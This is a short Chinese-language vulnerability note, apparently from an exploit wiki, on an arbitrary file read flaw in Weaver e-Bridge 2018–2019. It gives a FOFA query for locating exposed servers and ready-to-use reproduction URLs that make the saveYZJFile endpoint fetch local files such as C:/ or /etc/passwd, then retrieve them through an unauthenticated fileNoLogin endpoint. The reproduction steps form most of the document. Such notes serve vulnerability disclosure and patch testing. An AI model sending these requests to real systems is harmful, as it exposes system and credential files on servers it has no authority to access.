泛微云桥 e-Bridge 任意文件读取

漏洞描述

泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。

影响版本

Note

泛微云桥 e-Bridge 2018-2019 多个版本

FOFA

Note

title="泛微云桥e-Bridge"

漏洞复现

Note

分为两种,分别为 Windows 和 Linux

Windows

访问 http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt

成功返回 id值,说明含有此漏洞

调用查看文件接口访问 http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值

Linux

访问 http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

成功返回 id值,说明含有此漏洞

调用查看文件接口访问 http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值

漏洞利用POC

Note

注意读取Linux系统文件时,需要完整路径

例如读取根目录下的 1.txt

应为 /1.txt 而不是 1.txt

Last updated

Was this helpful?